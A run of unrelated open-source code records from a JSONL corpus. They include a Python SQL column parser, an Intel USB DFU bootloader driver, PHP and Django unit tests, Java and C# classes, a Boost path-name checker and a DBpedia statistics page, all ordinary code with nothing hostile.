re.IGNORECASE)\n\n if re.search(as_search, column):\n column_named = re.split(as_search, column)[1].rpartition('.')[-1]\n column_literal = re.split(as_search, column)[0]\n column_order = re.split(as_search, column)[1]\n if match_columns:\n if any(d['data'].lower() == column_named.lower() for d in match_columns):\n columns_string += column + ', '\n columns_literal.append(column_literal)\n columns_named.append(column_named)\n columns_order.append(column_order)\n else:\n columns_string += column + ', '\n columns_literal.append(column_literal)\n columns_named.append(column_named)\n columns_order.append(column_order)\n else:\n column_named = column.rpartition('.')[-1]\n if match_columns:\n if any(d['data'].lower() == column_named.lower() for d in match_columns):\n columns_string += column + ', '\n columns_literal.append(column)\n columns_named.append(column_named)\n columns_order.append(column)\n else:\n columns_string += column + ', '\n columns_literal.append(column)\n columns_named.append(column_named)\n columns_order.append(column)\n\n columns_string = columns_string.rstrip(', ')\n\n # We return a dict of the column params\n # column_string is a comma seperated list of the exact column variables received.\n # column_literal is the text before the \"as\" if we have an \"as\". Usually a function.\n # column_named is the text after the \"as\", if we have an \"as\". Any table prefix is also stripped off.\n # We use this to match with columns received from the Datatables request.\n # column_order is the text after the \"as\", if we have an \"as\". Any table prefix is left intact.\n column_data = {'column_string': columns_string,\n 'column_literal': columns_literal,\n 'column_named': columns_named,\n 'column_order': columns_order\n }\n\n return column_data\n"} +{"text": "\n\n\n DBpedia Mapping Sprint, Summer 2011 - Language Race\n \n \n \n \n\n\n\n
[ Current Statistics | Race Progression | I want to race! ]
\n

DBpedia Mapping Sprint, Summer 2011 - Language Race

\n

These statistics are gathered daily and displayed as percentages.

\n\n\n \n \n \n \n\n \n
\n
\n
\n \n\n\n\n

More information at: http://mappings.dbpedia.org

\n
\nAuthor: \nPablo N. Mendes (call for action and race pages).\nThanks to Paul Kreis and Max Jakob for doing the actual work of computing the things I display here. \n
\n\n"} +{"text": "/*\n * Copyright (c) 2016, Intel Corporation\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice,\n * this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation\n * and/or other materials provided with the distribution.\n * 3. Neither the name of the Intel Corporation nor the names of its\n * contributors may be used to endorse or promote products derived from this\n * software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL CORPORATION OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n */\n\n/**\n * @brief DFU class driver\n *\n * USB DFU device class driver\n *\n */\n\n#include \n#include \n\n#include \"qm_flash.h\"\n#include \"qm_gpio.h\"\n#include \"qm_init.h\"\n#include \"qm_interrupt.h\"\n#include \"qm_isr.h\"\n#include \"qm_pic_timer.h\"\n\n#include \"usb_device.h\"\n#include \"usb_dfu.h\"\n#include \"usb_struct.h\"\n\n#include \"bl_data.h\"\n#include \"dfu/core/dfu_core.h\"\n#include \"fw-manager.h\"\n#include \"fw-manager_utils.h\"\n\n#define USB_VBUS_GPIO_PIN 28\n#define USB_VBUS_GPIO_PORT QM_GPIO_0\n#define DBG QM_PRINTF\n\n#define LOW_BYTE(x) ((x)&0xFF)\n#define HIGH_BYTE(x) ((x) >> 8)\n\n/* Lakemont application's entry point (Flash1) */\n#if (UNIT_TEST)\nuint32_t test_lmt_app;\n#define LMT_APP_ADDR (&test_lmt_app)\n#else\n#define LMT_APP_ADDR (0x40030000)\n#endif\n\n/* Generates one interrupt after 10 seconds with a 32MHz sysclk. */\n#define TIMEOUT 0x14000000\n\n/* Forward declarations */\nstatic void dfu_status_cb(void *data, int error, qm_usb_status_t status);\nstatic int dfu_class_handle_req(usb_setup_packet_t *pSetup, uint32_t *data_len,\n\t\t\t\tuint8_t **data);\nstatic void timeout(void *data);\n\nstatic uint8_t usb_buffer[DFU_MAX_XFER_SIZE]; /* DFU data buffer */\n\n/* Set on USB detach, needed for the proprietary 'detach' extension of DFU. */\nstatic bool usb_detached = false;\n\nstatic const qm_pic_timer_config_t pic_conf = {.mode =\n\t\t\t\t\t\t QM_PIC_TIMER_MODE_PERIODIC,\n\t\t\t\t\t .int_en = true,\n\t\t\t\t\t .callback = timeout,\n\t\t\t\t\t .callback_data = NULL};\n\n/* Structure representing the DFU mode USB description */\nstatic const uint8_t dfu_mode_usb_description[] = {\n /* Device descriptor */\n USB_DEVICE_DESC_SIZE,\t\t /* Descriptor size */\n USB_DEVICE_DESC,\t\t\t /* Descriptor type */\n LOW_BYTE(USB_1_1), HIGH_BYTE(USB_1_1), /* USB version in BCD format */\n 0x00,\t\t\t\t /* Class - Interface specific */\n 0x00,\t\t\t\t /* SubClass - Interface specific */\n 0x00,\t\t\t\t /* Protocol - Interface specific */\n MAX_PACKET_SIZE_EP0,\t\t /* EP0 Max Packet Size */\n LOW_BYTE(VENDOR_ID), HIGH_BYTE(VENDOR_ID),\t\t /* Vendor Id */\n LOW_BYTE(DFU_PRODUCT_ID), HIGH_BYTE(DFU_PRODUCT_ID), /* Product Id */\n LOW_BYTE(BCDDEVICE_RELNUM),\n HIGH_BYTE(BCDDEVICE_RELNUM), /* Device Release Number */\n 0x01,\t\t\t /* Index of Manufacturer String Descriptor */\n 0x02,\t\t\t /* Index of Product String Descriptor */\n 0x03,\t\t\t /* Index of Serial Number String Descriptor */\n DFU_NUM_CONF,\t\t /* Number of Possible Configuration */\n\n /* Configuration descriptor */\n USB_CONFIGURATION_DESC_SIZE, /* Descriptor size */\n USB_CONFIGURATION_DESC, /* Descriptor type */\n LOW_BYTE(DFU_RUNTIME_CONF_SIZE),\n HIGH_BYTE(\n\tDFU_RUNTIME_CONF_SIZE), /* Total length in bytes of data returned */\n DFU_NUM_ITF,\t\t /* Number of interfaces */\n 0x01,\t\t\t /* Configuration value */\n 0x00,\t\t\t /* Index of the Configuration string */\n USB_CONFIGURATION_ATTRIBUTES, /* Attributes */\n USB_MAX_LOW_POWER,\t\t /* Max power consumption */\n\n /* Interface descriptor, alternate setting 0 */\n USB_INTERFACE_DESC_SIZE, /* Descriptor size */\n USB_INTERFACE_DESC,\t\t/* Descriptor type */\n 0x00,\t\t\t/* Interface index */\n 0x00,\t\t\t/* Alternate setting */\n DFU_NUM_EP,\t\t\t/* Number of Endpoints */\n USB_DFU_CLASS,\t\t/* Class */\n USB_DFU_INTERFACE_SUBCLASS, /* SubClass */\n USB_DFU_MODE_PROTOCOL, /* DFU Runtime Protocol */\n 0x04,\t\t\t/* Index of the Interface String Descriptor */\n\n /* Interface descriptor, alternate setting 1 */\n USB_INTERFACE_DESC_SIZE, /* Descriptor size */\n USB_INTERFACE_DESC,\t\t/* Descriptor type */\n 0x00,\t\t\t/* Interface index */\n 0x01,\t\t\t/* Alternate setting */\n DFU_NUM_EP,\t\t\t/* Number of Endpoints */\n USB_DFU_CLASS,\t\t/* Class */\n USB_DFU_INTERFACE_SUBCLASS, /* SubClass */\n USB_DFU_MODE_PROTOCOL, /* DFU Runtime Protocol */\n 0x05,\t\t\t/* Index of the Interface String Descriptor */\n\n /* Interface descriptor, alternate setting 2 */\n USB_INTERFACE_DESC_SIZE, /* Descriptor size */\n USB_INTERFACE_DESC,\t\t/* Descriptor type */\n 0x00,\t\t\t/* Interface index */\n 0x02,\t\t\t/* Alternate setting */\n DFU_NUM_EP,\t\t\t/* Number of Endpoints */\n USB_DFU_CLASS,\t\t/* Class */\n USB_DFU_INTERFACE_SUBCLASS, /* SubClass */\n USB_DFU_MODE_PROTOCOL, /* DFU Runtime Protocol */\n 0x06,\t\t\t/* Index of the Interface String Descriptor */\n\n /* DFU descriptor */\n USB_DFU_DESC_SIZE, /* Descriptor size */\n USB_DFU_FUNCTIONAL_DESC, /* Descriptor type DFU: Functional */\n DFU_ATTR_CAN_DNLOAD | DFU_ATTR_CAN_UPLOAD |\n\tDFU_ATTR_MANIFESTATION_TOLERANT, /* DFU attributes */\n LOW_BYTE(DFU_DETACH_TIMEOUT),\n HIGH_BYTE(DFU_DETACH_TIMEOUT), /* wDetachTimeOut */\n LOW_BYTE(DFU_MAX_XFER_SIZE),\n HIGH_BYTE(DFU_MAX_XFER_SIZE), /* wXferSize - 512bytes */\n 0x11, 0,\t\t\t /* DFU Version */\n\n /* String descriptor language, only one, so min size 4 bytes.\n * 0x0409 English(US) language code used.\n */\n USB_STRING_DESC_SIZE, /* Descriptor size */\n USB_STRING_DESC, /* Descriptor type */\n 0x09, 0x04,\n\n /* Manufacturer String Descriptor \"Intel\" */\n 0x0C, USB_STRING_DESC, 'I', 0, 'n', 0, 't', 0, 'e', 0, 'l', 0,\n\n /* Product String Descriptor \"ATP-Dev1.0\" */\n 0x16, USB_STRING_DESC, 'A', 0, 'T', 0, 'P', 0, '-', 0, 'D', 0, 'e', 0, 'v',\n 0, '1', 0, '.', 0, '0', 0,\n\n /* Serial Number String Descriptor \"00.01\" */\n 0x0C, USB_STRING_DESC, '0', 0, '0', 0, '.', 0, '0', 0, '1', 0,\n\n /* Interface alternate setting 0 String Descriptor: \"QDM\" */\n 0x08, USB_STRING_DESC, 'Q', 0, 'D', 0, 'M', 0,\n\n /* Interface alternate setting 0 String Descriptor: \"PARTITION0\" */\n 0x16, USB_STRING_DESC, 'P', 0, 'A', 0, 'R', 0, 'T', 0, 'I', 0, 'T', 0, 'I',\n 0, 'O', 0, 'N', 0, '1', 0,\n\n /* Interface alternate setting 0 String Descriptor: \"PARTITION2\" */\n 0x16, USB_STRING_DESC, 'P', 0, 'A', 0, 'R', 0, 'T', 0, 'I', 0, 'T', 0, 'I',\n 0, 'O', 0, 'N', 0, '2', 0};\n\nstatic bool lmt_partition_is_bootable()\n{\n\tconst bool app_present = (0xffffffff != *(uint32_t *)LMT_APP_ADDR);\n\n\treturn app_present;\n}\n\nstatic void reset(void)\n{\n\tqm_soc_reset(QM_COLD_RESET);\n}\n\nstatic void timeout(void *data)\n{\n\t(void)(data);\n\t/*\n\t * If we timeout and we have a valid LMT image, load it.\n\t * Otherwise, reset the timer.\n\t */\n\tif (lmt_partition_is_bootable()) {\n\t\tqm_pic_timer_set(0);\n\t\treset();\n\t} else {\n\t\tqm_pic_timer_set(TIMEOUT);\n\t}\n}\n\nstatic __inline__ void start_timer(void)\n{\n\tqm_int_vector_request(QM_X86_PIC_TIMER_INT_VECTOR, qm_pic_timer_0_isr);\n\n\tqm_pic_timer_set_config(&pic_conf);\n\n\tqm_pic_timer_set(TIMEOUT);\n}\n\n/**\n * @brief Custom handler for standard ('chapter 9') requests\n * in order to catch the SET_INTERFACE request and\n * extract the interface alternate setting\n *\n * @param pSetup Information about the request to execute.\n * @param len Size of the buffer.\n * @param data Buffer containing the request result.\n *\n * @return 0 if SET_INTERFACE request, -ENOTSUP otherwise.\n */\n\nstatic int dfu_custom_handle_req(usb_setup_packet_t *pSetup, uint32_t *data_len,\n\t\t\t\t uint8_t **data)\n{\n\tif (REQTYPE_GET_RECIP(pSetup->request_type) ==\n\t REQTYPE_RECIP_INTERFACE) {\n\t\tif (pSetup->request == REQ_SET_INTERFACE) {\n\t\t\tDBG(\"DFU alternate setting %d\\n\", pSetup->value);\n\n\t\t\tif (pSetup->value >= DFU_MODE_ALTERNATE_SETTINGS) {\n\t\t\t\tDBG(\"Invalid DFU alternate setting (%d)\\n\",\n\t\t\t\t pSetup->value);\n\t\t\t} else {\n\t\t\t\tdfu_set_alt_setting(pSetup->value);\n\t\t\t}\n\t\t\t*data_len = 0;\n\n\t\t\t/* We this was a valid DFU Request, reset timeout.*/\n\t\t\tqm_pic_timer_set(TIMEOUT);\n\t\t\treturn 0;\n\t\t}\n\t}\n\n\t/*Ignore the unused parameter error*/\n\t(void)(data);\n\n\t/* Not handled by us */\n\treturn -ENOTSUP;\n}\n\n/* Configuration of the DFU Device send to the USB Driver */\nstatic const usb_device_config_t dfu_config = {\n .device_description = dfu_mode_usb_description,\n .status_callback = dfu_status_cb,\n .interface = {.class_handler = dfu_class_handle_req,\n\t\t .custom_handler = dfu_custom_handle_req,\n\t\t .data = usb_buffer},\n .num_endpoints = DFU_NUM_EP};\n\n/**\n * @brief Handler called for DFU Class requests not handled by the USB stack.\n *\n * @param pSetup Information about the request to execute.\n * @param len Size of the buffer.\n * @param data Buffer containing the request result.\n *\n * @return 0 on success, negative errno code on fail.\n */\nstatic int dfu_class_handle_req(usb_setup_packet_t *pSetup, uint32_t *data_len,\n\t\t\t\tuint8_t **data)\n{\n\tdfu_dev_state_t state;\n\tdfu_dev_status_t status;\n\tuint32_t poll_timeout;\n\tint retv;\n\tuint16_t len;\n\n\t/* We get a DFU Request, reset timeout. */\n\tqm_pic_timer_set(TIMEOUT);\n\n\tswitch (pSetup->request) {\n\tcase DFU_GETSTATUS:\n\t\tDBG(\"DFU_GETSTATUS\\n\");\n\t\tretv = dfu_get_status(&status, &state, &poll_timeout);\n\t\tif (retv < 0) {\n\t\t\treturn -EINVAL;\n\t\t}\n\t\t(*data)[0] = status;\n\t\t(*data)[1] = poll_timeout & 0xFF;\n\t\t(*data)[2] = (poll_timeout >> 8) & 0xFF;\n\t\t(*data)[3] = (poll_timeout >> 16) & 0xFF;\n\t\t(*data)[4] = state;\n\t\t(*data)[5] = 0;\n\t\t*data_len = 6;\n\t\tbreak;\n\n\tcase DFU_GETSTATE:\n\t\tDBG(\"DFU_GETSTATE\\n\");\n\t\tretv = dfu_get_state(&state);\n\t\tif (retv < 0) {\n\t\t\treturn -EINVAL;\n\t\t}\n\t\t(*data)[0] = state;\n\t\t*data_len = 1;\n\t\tbreak;\n\n\tcase DFU_ABORT:\n\t\tDBG(\"DFU_ABORT\\n\");\n\t\tretv = dfu_abort();\n\t\tif (retv < 0) {\n\t\t\treturn -EINVAL;\n\t\t}\n\t\tbreak;\n\n\tcase DFU_CLRSTATUS:\n\t\tDBG(\"DFU_CLRSTATUS\\n\");\n\t\tretv = dfu_clr_status();\n\t\tif (retv < 0) {\n\t\t\treturn -EINVAL;\n\t\t}\n\t\tbreak;\n\n\tcase DFU_DNLOAD:\n\t\tDBG(\"DFU_DNLOAD block %d, len %d\\n\", pSetup->value,\n\t\t pSetup->length);\n\n\t\tretv = dfu_process_dnload(pSetup->value, *data, pSetup->length);\n\t\tif (retv < 0) {\n\t\t\treturn -EINVAL;\n\t\t}\n\t\tbreak;\n\n\tcase DFU_UPLOAD:\n\t\tDBG(\"DFU_UPLOAD block %d, len %d\\n\", pSetup->value,\n\t\t pSetup->length);\n\t\tretv = dfu_process_upload(pSetup->value, pSetup->length, *data,\n\t\t\t\t\t &len);\n\t\tif (retv < 0) {\n\t\t\treturn -EINVAL;\n\t\t}\n\t\t*data_len = len;\n\t\tbreak;\n\tcase DFU_DETACH:\n\t\tDBG(\"DFU_DETACH timeout %d\\n\", pSetup->value);\n\t\tusb_detached = true;\n\t\tbreak;\n\tdefault:\n\t\tDBG(\"DFU UNKNOWN STATE: %d\\n\", pSetup->request);\n\t\treturn -EINVAL;\n\t}\n\n\treturn 0;\n}\n\n/**\n * Callback used to know the USB connection status.\n *\n * @param data Callback data. Not used here.\n * @param error Error returned by the driver.\n * @param status USB status code.\n */\nstatic void dfu_status_cb(void *data, int error, qm_usb_status_t status)\n{\n\t(void)data;\n\tif (error) {\n\t\tQM_PUTS(\"DFU device error\");\n\t}\n\n\t/* We get a DFU Request, reset timeout. */\n\tqm_pic_timer_set(TIMEOUT);\n\n\t/* Check the USB status and do needed action if required */\n\tswitch (status) {\n\tcase QM_USB_RESET:\n\t\tDBG(\"USB device reset detected\\n\");\n\t\t/*\n\t\t * Linux seems to send several resets in short time, so reseting\n\t\t * the system on any USB reset won't work.\n\t\t * dfu-util has a proprietary extension 'detach' to work around\n\t\t * this issue: only reset after an USB detach.\n\t\t */\n\t\tif (usb_detached) {\n\t\t\treset();\n\t\t}\n\t\tbreak;\n\tcase QM_USB_CONNECTED:\n\t\tDBG(\"USB device connected\\n\");\n\t\tbreak;\n\tcase QM_USB_CONFIGURED:\n\t\tDBG(\"USB device configured\\n\");\n\t\tbreak;\n\tcase QM_USB_DISCONNECTED:\n\t\tDBG(\"USB device disconnected\\n\");\n\t\tbreak;\n\tcase QM_USB_SUSPEND:\n\t\tDBG(\"USB device suspended\\n\");\n\t\tbreak;\n\tcase QM_USB_RESUME:\n\t\tDBG(\"USB device resumed\\n\");\n\t\tbreak;\n\tdefault:\n\t\tDBG(\"USB unknown state\\n\");\n\t\tbreak;\n\t}\n}\n\nstatic void enable_usb_vbus(void)\n{\n\tqm_gpio_port_config_t cfg = {0};\n\tcfg.direction |= BIT(USB_VBUS_GPIO_PIN);\n\t/* Here we assume the GPIO pinmux hasn't changed. */\n\tqm_gpio_set_config(USB_VBUS_GPIO_PORT, &cfg);\n\tqm_gpio_set_pin(USB_VBUS_GPIO_PORT, USB_VBUS_GPIO_PIN);\n}\n\nint usb_dfu_start(void)\n{\n\tint ret;\n\n\tDBG(\"Starting DFU Device class\\n\");\n\n\t/* Initialize the DFU state machine */\n\tdfu_init();\n\t/* Set alternate setting for partition 0 (x86) */\n\tdfu_set_alt_setting(1);\n\n\t/* On MountAtlas we must set GPIO 28 to enable VCC_USB into the SoC. */\n\tenable_usb_vbus();\n\n\t/* Enable USB driver */\n\tret = usb_enable(&dfu_config);\n\tif (ret < 0) {\n\t\tDBG(\"Failed to enable USB\\n\");\n\t\treturn ret;\n\t}\n\n\tstart_timer();\n\n\treturn 0;\n}\n"} +{"text": "\n\n\n\n \"Khetha umbala\"\n \"Umbala we-%1$d\"\n \"Umbala we-%1$d ukhethiwe\"\n\n"} +{"text": "tombstone1 = $this->createTombstone('file', 1, 'method1');\n $this->tombstone2 = $this->createTombstone('file', 2, 'method1');\n $this->tombstone3 = $this->createTombstone('file', 3, null);\n $this->tombstone4 = $this->createTombstone('file', 4, 'method2');\n\n $this->tombstoneIndex = new TombstoneIndex();\n $this->tombstoneIndex->addTombstone($this->tombstone1);\n $this->tombstoneIndex->addTombstone($this->tombstone2);\n $this->tombstoneIndex->addTombstone($this->tombstone3);\n $this->tombstoneIndex->addTombstone($this->tombstone4);\n }\n\n private function createTombstone(string $file, int $line, ?string $method): Tombstone\n {\n $tombstone = $this->createMock(Tombstone::class);\n $tombstone\n ->expects($this->any())\n ->method('getFile')\n ->willReturn($this->createFilePath($file));\n $tombstone\n ->expects($this->any())\n ->method('getLine')\n ->willReturn($line);\n $tombstone\n ->expects($this->any())\n ->method('getMethod')\n ->willReturn($method);\n\n return $tombstone;\n }\n\n private function createFilePath(string $file): FilePathInterface\n {\n $filePath = $this->createMock(FilePathInterface::class);\n $filePath\n ->expects($this->any())\n ->method('getReferencePath')\n ->willReturn($file);\n\n return $filePath;\n }\n\n /**\n * @test\n */\n public function count_hasTombstones_returnNumberOfTombstones(): void\n {\n $this->assertEquals(4, $this->tombstoneIndex->count());\n }\n\n /**\n * @test\n */\n public function getIterator_hasTombstones_iterateAllTombstones(): void\n {\n $tombstones = iterator_to_array($this->tombstoneIndex);\n $this->assertEquals([$this->tombstone1, $this->tombstone2, $this->tombstone3, $this->tombstone4], $tombstones);\n }\n\n /**\n * @test\n */\n public function getInMethod_hasTombstones_returnArrayOfTombstones(): void\n {\n $returnValue = $this->tombstoneIndex->getInMethod('method1');\n $this->assertCount(2, $returnValue);\n $this->assertContainsOnlyInstancesOf(Tombstone::class, $returnValue);\n $this->assertSame([$this->tombstone1, $this->tombstone2], $returnValue);\n }\n\n /**\n * @test\n */\n public function getInMethod_noTombstones_returnEmptyArray(): void\n {\n $returnValue = $this->tombstoneIndex->getInMethod('otherMethod');\n $this->assertCount(0, $returnValue);\n }\n\n /**\n * @test\n */\n public function getInFileAndLine_hasTombstone_returnTombstone(): void\n {\n $returnValue = $this->tombstoneIndex->getInFileAndLine($this->createFilePath('file'), 2);\n $this->assertSame($this->tombstone2, $returnValue);\n }\n\n /**\n * @test\n */\n public function getInFileAndLine_noTombstone_returnNull(): void\n {\n $returnValue = $this->tombstoneIndex->getInFileAndLine($this->createFilePath('file'), 5);\n $this->assertNull($returnValue);\n }\n}\n"} +{"text": "/*\n * Copyright 2004-2006 Stefan Reuter\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\npackage org.asteriskjava.manager.action;\n\nimport org.asteriskjava.manager.event.DahdiShowChannelsCompleteEvent;\nimport org.asteriskjava.manager.event.ResponseEvent;\n\n/**\n * The DahdiShowChannelsAction requests the state of all Dahdi channels.

\n * For each Dahdi channel aDahdiShowChannelsEvent is generated. After all Dahdi\n * channels have been listed a DahdiShowChannelsCompleteEvent is generated.\n * \n * @see org.asteriskjava.manager.event.DahdiShowChannelsEvent\n * @see org.asteriskjava.manager.event.DahdiShowChannelsCompleteEvent\n * @author srt\n * @version $Id$\n */\npublic class DahdiShowChannelsAction extends AbstractManagerAction\n implements\n EventGeneratingAction\n{\n /**\n * Serializable version identifier\n */\n private static final long serialVersionUID = 8697000330085766825L;\n\n /**\n * Creates a new DahdiShowChannelsAction.\n */\n public DahdiShowChannelsAction()\n {\n\n }\n\n /**\n * Returns the name of this action, i.e. \"DahdiShowChannels\".\n */\n @Override\n public String getAction()\n {\n return \"DahdiShowChannels\";\n }\n\n public Class getActionCompleteEventClass()\n {\n return DahdiShowChannelsCompleteEvent.class;\n }\n}\n"} +{"text": "/*\n * Copyright (c) 2010, Oracle and/or its affiliates. All rights reserved.\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * This code is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License version 2 only, as\n * published by the Free Software Foundation.\n *\n * This code is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License\n * version 2 for more details (a copy is included in the LICENSE file that\n * accompanied this code).\n *\n * You should have received a copy of the GNU General Public License version\n * 2 along with this work; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n *\n * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA\n * or visit www.oracle.com if you need additional information or have any\n * questions.\n */\n\n// key: compiler.err.illegal.nonascii.digit\n\nclass X {\n int i = 0\\u0660; // Zero followed by Arabic-Indic Digit Zero\n}\n"} +{"text": "namespace Composite.C1Console.Forms.StandardProducerMediators.BuildinProducers\r\n{\r\n internal sealed class BindProducer : IBuildinProducer\r\n {\r\n private string _source;\r\n\r\n internal BindProducer() { }\r\n\r\n public string source\r\n {\r\n get { return _source; }\r\n set { _source = value; }\r\n }\r\n }\r\n}\r\n"} +{"text": "// path_name_check implementation ------------------------------------------//\n\n// Copyright Beman Dawes 2002.\n// Copyright Gennaro Prota 2006.\n//\n// Distributed under the Boost Software License, Version 1.0.\n// (See accompanying file LICENSE_1_0.txt or copy at\n// http://www.boost.org/LICENSE_1_0.txt)\n\n#include \"path_name_check.hpp\"\n\n#include \"boost/filesystem/operations.hpp\"\n#include \"boost/lexical_cast.hpp\"\n\n#include \n#include \n#include \n#include \n\nusing std::string;\n\nnamespace\n{\n const char allowable[] = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-.\";\n const char initial_char[] = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_\";\n}\n\nnamespace boost\n{\n namespace inspect\n {\n\n\n file_name_check::file_name_check() : m_name_errors(0) {}\n\n void file_name_check::inspect(\n const string & library_name,\n const path & full_path )\n {\n string::size_type pos;\n \n // called for each file and directory, so only the leaf need be tested\n string const leaf( full_path.leaf().string() );\n\n // includes only allowable characters\n if ( (pos = leaf.find_first_not_of( allowable )) != string::npos )\n {\n ++m_name_errors;\n error( library_name, full_path, string(name())\n + \" file or directory name contains unacceptable character '\"\n + leaf[pos] + \"'\" );\n }\n\n // allowable initial character\n if ( std::strchr( initial_char, leaf[0] ) == 0 )\n {\n ++m_name_errors;\n error( library_name, full_path, string(name())\n + \" file or directory name begins with an unacceptable character\" );\n }\n\n // rules for dot characters differ slightly for directories and files\n if ( filesystem::is_directory( full_path ) )\n {\n if ( std::strchr( leaf.c_str(), '.' ) )\n {\n ++m_name_errors;\n error( library_name, full_path, string(name())\n + \" directory name contains a dot character ('.')\" );\n }\n }\n //else // not a directory\n //{\n // // includes at most one dot character\n // const char * first_dot = std::strchr( leaf.c_str(), '.' );\n // if ( first_dot && std::strchr( first_dot+1, '.' ) )\n // {\n // ++m_name_errors;\n // error( library_name, full_path, string(name())\n // + \" file name with more than one dot character ('.')\" );\n // }\n //}\n\n // the path, including a presumed root, does not exceed the maximum size\n path const relative_path( relative_to( full_path, search_root_path() ) );\n const unsigned max_relative_path = 207; // ISO 9660:1999 sets this limit\n const string generic_root( \"boost_X_XX_X/\" );\n if ( relative_path.string().size() >\n ( max_relative_path - generic_root.size() ) )\n {\n ++m_name_errors;\n error( library_name, full_path,\n string(name())\n + \" path will exceed \"\n + boost::lexical_cast(max_relative_path)\n + \" characters in a directory tree with a root in the form \"\n + generic_root + \", and this exceeds ISO 9660:1999 limit of 207\" )\n ;\n }\n\n }\n\n file_name_check::~file_name_check()\n {\n std::cout << \" \" << m_name_errors << \" \" << desc() << line_break();\n }\n\n\n } // namespace inspect\n} // namespace boost\n"} +{"text": "from datetime import timedelta\n\nfrom django.urls import reverse_lazy, resolve\nfrom django.contrib.auth.models import User\nfrom django.utils import timezone\n\nfrom allauth.account.models import EmailAddress\nfrom rest_framework.test import APITestCase, APIClient\n\nfrom challenges.models import Challenge\nfrom hosts.models import ChallengeHost, ChallengeHostTeam\nfrom participants.models import ParticipantTeam\n\n\nclass BaseAPITestClass(APITestCase):\n def setUp(self):\n self.client = APIClient(enforce_csrf_checks=True)\n\n self.user = User.objects.create(\n username=\"someuser\",\n email=\"user@test.com\",\n password=\"secret_password\",\n )\n\n EmailAddress.objects.create(\n user=self.user, email=\"user@test.com\", primary=True, verified=True\n )\n\n self.invite_user = User.objects.create(\n username=\"otheruser\",\n email=\"other@platform.com\",\n password=\"other_secret_password\",\n )\n\n self.participant_team = ParticipantTeam.objects.create(\n team_name=\"Participant Team\", created_by=self.user\n )\n\n # user who create a challenge host team\n self.user2 = User.objects.create(\n username=\"someuser2\", password=\"some_secret_password\"\n )\n\n self.challenge_host_team = ChallengeHostTeam.objects.create(\n team_name=\"Some Test Challenge Host Team\", created_by=self.user2\n )\n\n self.challenge_host2 = ChallengeHost.objects.create(\n user=self.user2,\n team_name=self.challenge_host_team,\n status=ChallengeHost.ACCEPTED,\n permissions=ChallengeHost.ADMIN,\n )\n\n self.challenge = Challenge.objects.create(\n title=\"Some Test Challenge\",\n short_description=\"Short description for some test challenge\",\n description=\"Description for some test challenge\",\n terms_and_conditions=\"Terms and conditions for some test challenge\",\n submission_guidelines=\"Submission guidelines for some test challenge\",\n creator=self.challenge_host_team,\n published=False,\n enable_forum=True,\n anonymous_leaderboard=False,\n start_date=timezone.now() - timedelta(days=2),\n end_date=timezone.now() + timedelta(days=1),\n )\n self.client.force_authenticate(user=self.user)\n\n\nclass TestStringMethods(BaseAPITestClass):\n def test_participant_team_list_url(self):\n self.url = reverse_lazy(\"participants:get_participant_team_list\")\n self.assertEqual(str(self.url), \"/api/participants/participant_team\")\n resolver = resolve(self.url)\n self.assertEqual(\n resolver.view_name, \"participants:get_participant_team_list\"\n )\n\n def test_get_participant_team_challenge_list(self):\n self.url = reverse_lazy(\n \"participants:get_participant_team_challenge_list\",\n kwargs={\"participant_team_pk\": self.participant_team.pk},\n )\n self.assertEqual(\n str(self.url),\n \"/api/participants/participant_team/%s/challenge\"\n % (self.participant_team.pk),\n )\n resolver = resolve(self.url)\n self.assertEqual(\n resolver.view_name,\n \"participants:get_participant_team_challenge_list\",\n )\n\n def test_participant_team_detail_url(self):\n self.url = reverse_lazy(\n \"participants:get_participant_team_details\",\n kwargs={\"pk\": self.participant_team.pk},\n )\n self.assertEqual(\n str(self.url),\n \"/api/participants/participant_team/%s\"\n % (self.participant_team.pk),\n )\n resolver = resolve(self.url)\n self.assertEqual(\n resolver.view_name, \"participants:get_participant_team_details\"\n )\n\n def test_invite_participant_to_team_url(self):\n self.url = reverse_lazy(\n \"participants:invite_participant_to_team\",\n kwargs={\"pk\": self.participant_team.pk},\n )\n self.assertEqual(\n str(self.url),\n \"/api/participants/participant_team/%s/invite\"\n % (self.participant_team.pk),\n )\n 